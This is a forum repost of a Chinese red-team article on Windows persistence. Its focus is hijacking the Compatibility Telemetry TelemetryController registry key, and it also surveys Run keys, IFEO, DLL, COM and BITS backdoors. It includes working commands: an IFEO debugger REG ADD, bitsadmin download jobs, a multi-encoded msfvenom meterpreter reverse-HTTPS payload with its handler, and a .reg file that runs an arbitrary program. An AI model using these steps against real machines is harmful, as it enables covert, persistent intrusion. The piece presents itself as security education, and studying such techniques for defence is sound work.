搜索

[20350] 2020-08-06_红队之浅谈基于Windowstelemetry的权限维持

文档创建者：s7ckTeam
浏览次数：33
最后更新：2025-01-18
2020-08-06_红队之浅谈基于Windowstelemetry的权限维持 红 队 之 浅 谈 基 于 W i n d o w s   t e l e m e t r y 的 权 限 维 持 K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 8 - 0 6 以 下 文 章 来 源 于 酒 仙 桥 六 号 部 队   ， 作 者 队 员 编 号 0 4 6 这 是   酒 仙 桥 六 号 部 队 酒 仙 桥 六 号 部 队   的 第   4 6   篇 文 章 。 全 文 共 计 3 0 8 4 个 字 ， 预 计 阅 读 时 长 1 0 分 钟 。 在 我 们 红 队 拿 到 主 机 权 限 的 时 候 ， 我 们 往 往 需 要 通 过 这 台 机 器 进 行 深 一 步 的 渗 透 ， 或 者 目 标 服 务 器 可 能 因 为 系 统 更 新 ， 杀 软 更 新 等 等 原 因 往 往 导 致 会 话 莫 名 其 妙 下 线 了 ， 所 以 权 限 持 久 化 是 红 队 一 个 必 不 可 少 的 工 作 。 常 见 的 权 限 维 持 手 段 有 很 多 ， 比 如 ： 1 修 修 改 改 服 务 服 务 系 统 启 动 的 时 候 , 可 以 通 过 服 务 来 运 行 程 序 或 应 用 ， 服 务 的 配 置 信 息 存 储 在 注 册 表 中 ， 可 以 通 过 修 改 配 置 来 进 行 安 装 服 务 ， 运 行 后 能 看 到 A t o m i c S e r v i c e . e x e 这 个 进 程 。 或 者 2 修 改 注 册 表 修 改 注 册 表 启 动 项 启 动 项 s t a r t u p 文 件 夹 下 添 加 程 序 以 及 修 改 注 册 表 的 某 些 键 值 来 实 现 。 用 户 登 录 后 就 可 实 现 程 序 的 执 行 。 W i n d o w s 会 默 认 执 行 的 相 关 注 册 表 ： H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n O n c e H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n O n c e 3 自 启 动 服 自 启 动 服 务 目 录 务 目 录 H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n S e r v i c e s O n c e H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n S e r v i c e s O n c e H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n S e r v i c e s H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n S e r v i c e s 4 文 件 文 件 夹 目 夹 目 录 录 H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n E x p l o r e r U s e r S h e l l   F o l d e r s H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n E x p l o r e r S h e l l F o l d e r s H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n E x p l o r e r S h e l l F o l d e r s 酒 仙 桥 六 号 部 队 酒 仙 桥 六 号 部 队   . 知 其 黑 ， 守 其 白 。   分 享 知 识 盛 宴 ， 闲 聊 大 院 趣 事 ， 备 好 酒 肉 等 你 ！ s c . e x e   c r e a t e   # { s e r v i c e _ n a m e }   b i n P a t h =   # { b i n a r y _ p a t h } s c . e x e   s t a r t   # { s e r v i c e _ n a m e } N e w - S e r v i c e   - N a m e   " # { s e r v i c e _ n a m e } "   - B i n a r y P a t h N a m e   " # { b i n a r y _ p a t h } " S t a r t - S e r v i c e   - N a m e   " # { s e r v i c e _ n a m e } "
H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n E x p l o r e r U s e r S h e l l   F o l d e r s 5 D L L 劫 持 劫 持 应 用 程 序 通 过 D L L （ 动 态 链 接 库 ） 加 载 外 部 代 码 。 D L L 劫 持 是 利 用 了 D L L 的 搜 索 路 径 优 先 级 并 用 D L L 同 名 的 恶 意 D L L 注 入 应 用 程 序 。 查 找 可 能 存 在 劫 持 的 D L L , 一 般 来 说 ， 我 们 可 以 使 用 P r o c e s s E x p l o r e r 再 结 合 注 册 表 K n o w n D L L s ( w i n d o w s   7   以 上 版 本 ) 即 可 分 析 ， 可 能 存 在 D L L 劫 持 的 漏 洞 。 对 可 能 存 在 D L L 劫 持 的 漏 洞 进 行 编 写 ， 放 在 同 一 目 录 进 行 P O C 测 试 。 6 映 映 像 像 劫 持 劫 持 被 称 为 I F E O （ I m a g e   F i l e   E x e c u t i o n   O p t i o n s ） 当 用 户 程 序 被 映 像 劫 持 ， 启 动 目 标 程 序 会 被 劫 持 程 序 给 替 代 。 H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n I m a g e   F i l e   E x e c u t i o n   O p t i o n [ 劫 持 程 序 名 字 ] 添 加 d e b u g g e r 键 名   值 为 指 向 的 路 径 。 也 可 以 命 令 行 管 理 员 直 接 执 行 ： 或 者 使 用 g f l a g s 工 具 中 的 s i l e n t   p r o c e s s   e x i t 功 能 ， 在 这 个 程 序 静 态 退 出 的 时 候 可 以 直 接 静 默 执 行 另 一 个 程 序 。 7 C o m 劫 持 劫 持 程 序 在 读 取 注 册 表 信 息 中 的 D L L 或 者 E X E 功 能 的 路 径 上 ， 让 程 序 提 前 读 取 设 置 好 的 恶 意 D L L 或 者 E X E ， 原 理 其 实 和 D L L 劫 持 相 近 。 一 般 的 利 用 方 式 如 下 ： 通 过 使 用 脚 本 ， 找 出 系 统 没 有 的 或 者 空 出 来 的 C O M ( N A M E   N O T F O U N D ) 组 件 路 径 ， 放 置 劫 持 的 文 件 。 我 们 也 可 以 直 接 替 换 原 路 径 下 的 文 件 ， 或 者 直 接 修 改 原 路 径 加 载 的 文 件 。 8 B I T 后 门 后 门 W i n d o w s 内 置 后 台 传 输 工 具 ， 即 使 在 应 用 程 序 退 出 后 ， 只 要 启 动 传 输 的 用 户 保 持 登 录 状 态 并 保 持 网 络 连 接 ， B I T S 就 会 继 续 传 输 文 件 ， 重 启 后 也 会 续 传 。 测 试 脚 本 ： 测 试 脚 本 ： b i t s a d m i n   / r e s u m e   t e s t 9 W M I C 后 门 等 等 。 后 门 等 等 。 。 。 。 。 。 。 随 着 科 技 的 发 展 ， 各 种 终 端 设 备 对 各 种 常 见 的 路 径 ， 注 册 表 进 行 了 监 控 。 所 以 我 们 需 要 更 多 的 骚 姿 势 来 绕 过 它 。 M i c r o s o f t   C o m p a t i b i l i t y   T e l e m e t r y   微 软 兼 容 性 遥 测 服 务 微 软 兼 容 性 遥 测 服 务 介 绍 ： 介 绍 ： C o m p a t T e l R u n n e r . e x e 是 用 户 可 以 在 W i n d o w s   C o m p a t i b i l i t y T e l e m e t r y 服 务 下 运 行 的 进 程 ， 它 通 常 位 于 C :   W i n d o w s   S y s t e m 3 2 目 录 中 。 它 负 责 收 集 有 关 计 算 机 及 其 性 能 的 各 种 技 术 数 据 ， 并 将 其 发 送 给 M i c r o s o f t 进 行 W i n d o w s 客 户 体 验 改 善 计 划 以 及 用 于 W i n d o w s 操 作 系 统 的 升 级 过 程 中 。 该 进 程 使 用 了 C P U 的 极 高 百 分 比 来 进 行 文 件 扫 描 ， 然 后 通 过 I n t e r n e t 连 接 传 输 数 据 。 因 此 ， 用 户 还 会 遇 到 互 联 网 连 接 速 度 较 慢 甚 至 系 统 崩 溃 的 情 况 。 R E G   A D D   " H K L M S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n I m a g e   F i l e E x e c u t i o n   O p t i o n s n o t e p a d . e x e "   / t   R E G _ S Z   / v   D e b u g g e r   / d " C : w i n d o w s s y s t e m 3 2 c m d . e x e "   / f b i t s a d m i n   / c r e a t e   t e s t b i t s a d m i n   / a d d f i l e   t e s t   " h t t p : / / x . x . x . x / x   " / / " C : t m p x x " b i t s a d m i n   / S e t N o t i f y C m d L i n e   t e s t   C : t m p x x   N U L b i t s a d m i n   / S e t M i n R e t r y D e l a y   " t e s t "   6 0
E m m … 全 网 都 是 说 这 服 务 怎 么 去 d i s a b l e 的 ， 看 来 确 实 很 多 人 不 喜 欢 这 玩 意 儿 。 在 我 们 实 现 中 需 要 以 下 的 条 件 ： 1 .   管 理 员 权 限 , 并 且 可 以 写 入 H K L M ( H K E Y _ L O C A L _ M A C H I N E ) 2 .   W i n d o w s   S e r v e r 2 0 0 8 R 2 ,   2 0 1 6 ,   W i n d o w s   7   / 1 0 3 .   测 试 机 器 必 须 有 网 络 连 接 方 法 ： 方 法 ： 在 注 册 表 添 加 任 意 命 名 子 项 。 添 加 名 称 为 C o m m a n d   类 型 是 R E G _ S Z   ， D a t a   v a l u e 填 写 我 们 要 执 行 的 e x e 程 序 ； 创 建 一 个 D W O R D 的 K E Y ， 名 称 可 以 为 N i g h t l y ， O o b e ， M a i n t a n a n c e 并 将 它 们 的 值 设 置 成 1 。 N i g h t l y 模 式 会 以 每 2 4 小 时 执 行 一 次 。 或 者 使 用 下 列 命 令 保 存 文 本 （ 以 n i g h t l y 为 例 ） ， 修 改 r e g 格 式 导 入 即 可 。 W i n d o w s   R e g i s t r y   E d i t o r   V e r s i o n   5 . 0 0 如 果 想 立 即 执 行 查 看 效 果 可 以 在 C o r t a n a 搜 索 框 中 输 入 “ 任 务 计 划 ” ， 打 开 “ 任 务 计 划 程 序 ” ， 在 左 侧 的 导 航 窗 格 中 依 次 展 开 定 位 至 “ 任 务 计 划 程 序 库 。 H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s N T C u r r e n t V e r s i o n A p p C o m p a t F l a g s T e l e m e t r y C o n t r o l l e r [ H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s N T C u r r e n t V e r s i o n A p p C o m p a t F l a g s T e l e m e t r y C o n t r o l l e r t e s t ] " C o m m a n d " = " c : w i n d o w s s y s t e m 3 2 n o t e p a d . e x e " " N i g h t l y " = d w o r d : 0 0 0 0 0 0 0 1
M i c r o s o f t   -   W i n d o w s   -   A p p l i c a t i o n   E x p e r i e n c e ” ， 这 时 你 就 会 在 右 侧 窗 格 中 看 到 名 为 M i c r o s o f t   C o m p a t i b i l i t y   A p p r a i s e r   的 任 务 计 划 ， 直 接 右 键 运 行 即 可 。 或 者 管 理 员 直 接 运 行 命 令 行 ： 等 待 M i c r o s o f t   C o m p a t i b i l i t y   T e l e m e t r y 执 行 。 然 后 在 详 细 信 息 里 面 可 看 到 程 序 执 行 成 功 了 。 s c h t a s k s   / r u n   / t n   " M i c r o s o f t W i n d o w s A p p l i c a t i o n   E x p e r i e n c e M i c r o s o f t C o m p a t i b i l i t y   A p p r a i s e r "
有 意 思 的 是 ， C o m p a t T e l R u n n e r . e x e 不 是 系 统 启 动 运 行 或 者 用 户 登 录 ， 它 是 一 个 周 期 性 的 任 务 ， 这 样 可 以 逃 避 很 多 检 测 。 我 们 也 可 以 在 触 发 器 中 对 其 进 行 修 改 成 我 们 需 要 的 执 行 时 间 。
我 们 这 里 使 用 m s f 做 个 简 单 的 测 试 ： 用 m s f 自 带 混 淆 做 个 r a w 。 m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ w i n h t t p s   L H O S T = 1 9 2 . 1 6 8 . 1 1 . 1 3 0   L P O R T = 8 8 8 8 - - p l a t f o r m   w i n d o w s   - a   x 8 6   - s   4 2   - - s m a l l e s t   - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   9   - f   r a w | m s f v e n o m   - - p l a t f o r m   w i n d o w s   - a   x 8 6   - e   x 8 6 / c o u n t d o w n   - i   8   - f   r a w   |   m s f v e n o m - - p l a t f o r m   w i n d o w s   - a   x 8 6   - e   x 8 6 / c a l l 4 _ d w o r d _ x o r   - i   6   - b   " x 0 0 x 0 a x 0 d "   - f r a w   >   ~ / D e s k t o p / s h e l l c o d e . r a w
我 们 这 里 使 用 s h e l l c o d e 加 载 器 ： h t t p s : / / g i t h u b . c o m / c l i n i c a l l y i n a n e / s h e l l c o d e _ l a u n c h e r / 目 标 机 执 行 即 可 ： s h e l l c o d e _ l a u n c h e r . e x e   - i   s h e l l c o d e . r a w 这 里 写 个 脚 本 运 行 。 （ 这 里 也 能 使 用 d l l 注 入 等 各 种 方 法 ， 记 得 将 其 注 入 到 其 他 进 程 中 ， 不 然 进 程 会 结 束 。 反 弹 s h e l l 命 令 也 不 宜 过 长 ， 同 样 的 道 理 。 ） K A L I ： 我 们 直 接 输 入 命 令 测 试 一 下 ： S E S S I O N 1   成 功 上 线 了 。 m s f c o n s o l e   - q   - x   ' u s e   e x p l o i t / m u l t i / h a n d l e r ;   s e t   E x i t O n S e s s i o n   f a l s e ;   s e t P A Y L O A D   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ w i n h t t p s ; s e t   L H O S T   1 9 2 . 1 6 8 . 1 1 . 1 3 0 ; s e t   L P O R T 8 8 8 8 ;   r u n   - j   - z '
怎 么 实 现 的 ？ 怎 么 实 现 的 ？ 当 C o m p a t T e l R u n n e r 运 行 遥 测 任 务 之 前 ， 会 首 先 检 查 一 些 条 件 ， 而 且 必 须 要 满 足 这 些 条 件 之 一 。 1 .   系 统 为   W i n d o w s 1 0 或 者 S e r v e r 2 0 1 9 。 2 .   系 统 为 W i n d o w s 版 本 的 客 户 端 。 3 .   键 值 ： H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n P o l i c i e s D a t a C o l l e c t i o n C o m m e r c i a l D a t a O p t I n 是   D W O R D   的 类 型 且 不 为 0 有 趣 的 是 ， 在 W i n d o w s S e r v e r 2 0 1 6 发 行 后 某 个 版 本 添 加 了 上 面 的 检 查 条 件 。 而 在 C o m p a t T e l R u n n e r . e x e 更 新 版 本 之 前 ， 这 些 检 查 将 不 会 执 行 ， 并 且 将 执 行 注 册 表 项 中 的 C o m m a n d 命 令 ， 而 与 w i n d o w s 版 本 无 关 。 无 论 有 没 有 成 功 检 查 ， 存 在 命 令 行 参 数 将 决 定 程 序 在 哪 种 运 行 模 式 下 运 行 。 存 在 三 种 与 某 些 条 件 相 对 应 的 运 行 模 式 。 如 果 命 令 行 参 数 指 定 了 一 个 D L L 或 者 f u n c t i o n 。 则 C o m p a t T e l R u n n e r . e x e 会 会 根 据 批 准 的 列 表 对 它 们 进 行 验 证 。 这 将 导 致 C o m p a t T e l R u n n e r . e x e 启 动 D L L 提 供 程 序 并 退 出 。 如 果 未 提 供 D L L / 功 能 名 称 ， 程 序 将 继 续 识 别 运 行 模 式 。 如 果 H K E Y _ L O C A L _ M A C H I N E     S O F T W A R E     M i c r o s o f t     W i n d o w s N T     C u r r e n t V e r s i o n   A p p C o m p a t F l a g s     T e l e m e t r y C o n t r o l l e r   O o b e 存 在 并 且 没 有 - m a i n t e n a n c e 参 数 ， 则 进 入 运 行 模 式 二 （ O O B E ） ， 该 键 将 在 检 查 后 被 删 除 。 如 果 提 供 了 - m a i n t e n a n c e 参 数 ， 那 么 我 们 需 要 验 证 运 行 并 进 入 模 式 0 ， 并 需 要 验 证 系 统 状 态 : 1 . H K E Y _ L O C A L _ M A C H I N E     S O F T W A R E     M i c r o s o f t     W i n d o w s N T     C u r r e n t V e r s i o n   A p p C o m p a t F l a g s     T e l e m e t r y C o n t r o l l e r     T e s t A l l o w R u n 设 置 的 R E G _ D W O R D 不 能 为 0 2 . 通 过 系 统 状 态 验 证 。 系 统 状 态 验 证 检 测 件 又 由 以 下 几 个 条 件 组 成 : “ P o w e r   S a v e r ”   （ 节 电 器 ） 必 须 是 关 闭 状 态 。 机 器 处 于 充 电 状 态 。 如 果 程 序 前 四 次 验 证 失 败 ， 如 果 电 池 状 态 未 知 ， 电 池 电 量 大 于 5 ％ 或 正 在 充 电 则 则 也 通 过 验 证 。 如 果 通 过 了 一 次 验 证 ， 程 序 将 重 置 注 册 表 键 值 R u n s B l o c k e d 为 0 。 如 果 没 有 通 过 则 将 注 册 表 键 值   R u n s B l o c k e d 加 1 。 如 果 未 传 递 任 何 命 令 行 参 数 ， 则 C o m p a t T e l R u n n e r . e x e 将 进 入 运 行 模 式 一 （ N i g h t l y ） 。 确 定 运 行 模 式 后 ， 将 对 计 划 任 务 执 行 一 些 检 查 。 然 后 进 入 R u n T e l e m e t r y 区 域 。 如 果 模 式 为 0 （ - m a i n t e n a n c e ） ， 则 需 要 进 行 一 些 额 外 的 检 查 。 检 查 结 束 后 或 者 模 式 不 为 0 ， 则 程 序 打 开 H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s N T C u r r e n t V e r s i o n A p p C o m p a t F l a g s T e l e m e t r y C o n t r o l l e r .
所 有 子 项 均 在 此 文 件 夹 下 枚 举 ， 并 在 初 始 化 调 用 中 用 于 填 充 结 构 。 从 反 汇 编 中 ， 可 以 看 出 这 些 字 段 是 从 注 册 表 项 填 充 的 ： C o m m a n d   p o p u l a t e s   t h e   L P W S T R   C o m m a n d / C o m m a n d B y t e L e n M a i n t e n a n c e   s e t s   B o o l M a i n t e n a n c e N i g h t l y   s e t s   B o o l N i g h t l y O o b e   s e t s   B o o l O o b e S k u   s e t s   t h e   D W O R D   D W S K U S c h e d u l i n g N e e d e d   s e t s   B o o l S c h e d u l i n g N e e d e d 可 以 将 指 定 的 命 令 将 被 加 载 到 缓 冲 区 中 ， 如 下 所 示 ： 根 据 使 用 的 运 行 模 式 / 计 划 ， 可 以 将 - o o b e 或 - f u l l s y n c 添 加 到 命 令 行 。 最 终 ， 它 作 为 第 二 个 参 数 传 递 给 函 数 C r e a t e P r o c e s s W ( C r e a t e P r o c e s s W ) 用 于 创 建 一 个 新 进 程 及 其 主 线 程 。 新 进 程 在 调 用 进 程 安 全 的 运 行 。 等 效 于 将 其 作 为 s h e l l 命 令 运 行 。 这 里 需 要 注 意 的 是 如 果 是 任 务 进 程 结 束 后 ， 我 们 的 子 项 也 会 跟 着 结 束 进 程 。 总 结 ： 在 红 蓝 对 抗 中 ， 套 路 总 是 在 不 断 变 化 的 ， 红 队 一 直 在 寻 找 新 颖 有 趣 的 方 法 来 在 目 标 网 络 上 实 现 相 同 的 目 标 ， 对 此 我 们 也 需 要 不 断 学 习 新 的 姿 势 和 套 路 来 不 断 完 善 自 己 与 团 队 。 总 结 ： 在 红 蓝 对 抗 中 ， 套 路 总 是 在 不 断 变 化 的 ， 红 队 一 直 在 寻 找 新 颖 有 趣 的 方 法 来 在 目 标 网 络 上 实 现 相 同 的 目 标 ， 对 此 我 们 也 需 要 不 断 学 习 新 的 姿 势 和 套 路 来 不 断 完 善 自 己 与 团 队 。 c h a r   c o m m a n d [ 5 2 0 ]   =   { 0 } ;     S t r i n g C c h C a t W ( c o m m a n d ,   2 6 0 ,   L ” % l s   % l s % h s ” ,   t h i s - > C o m m a n d S t r ,   L ” - c v ” ,   < S o m e R a n d o m   l o o k i n g   s t r i n g > ) ;
参 考 文 献 ： h t t p s : / / w w w . t r u s t e d s e c . c o m / b l o g / a b u s i n g - w i n d o w s - t e l e m e t r y - f o r - p e r s i s t e n c e /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理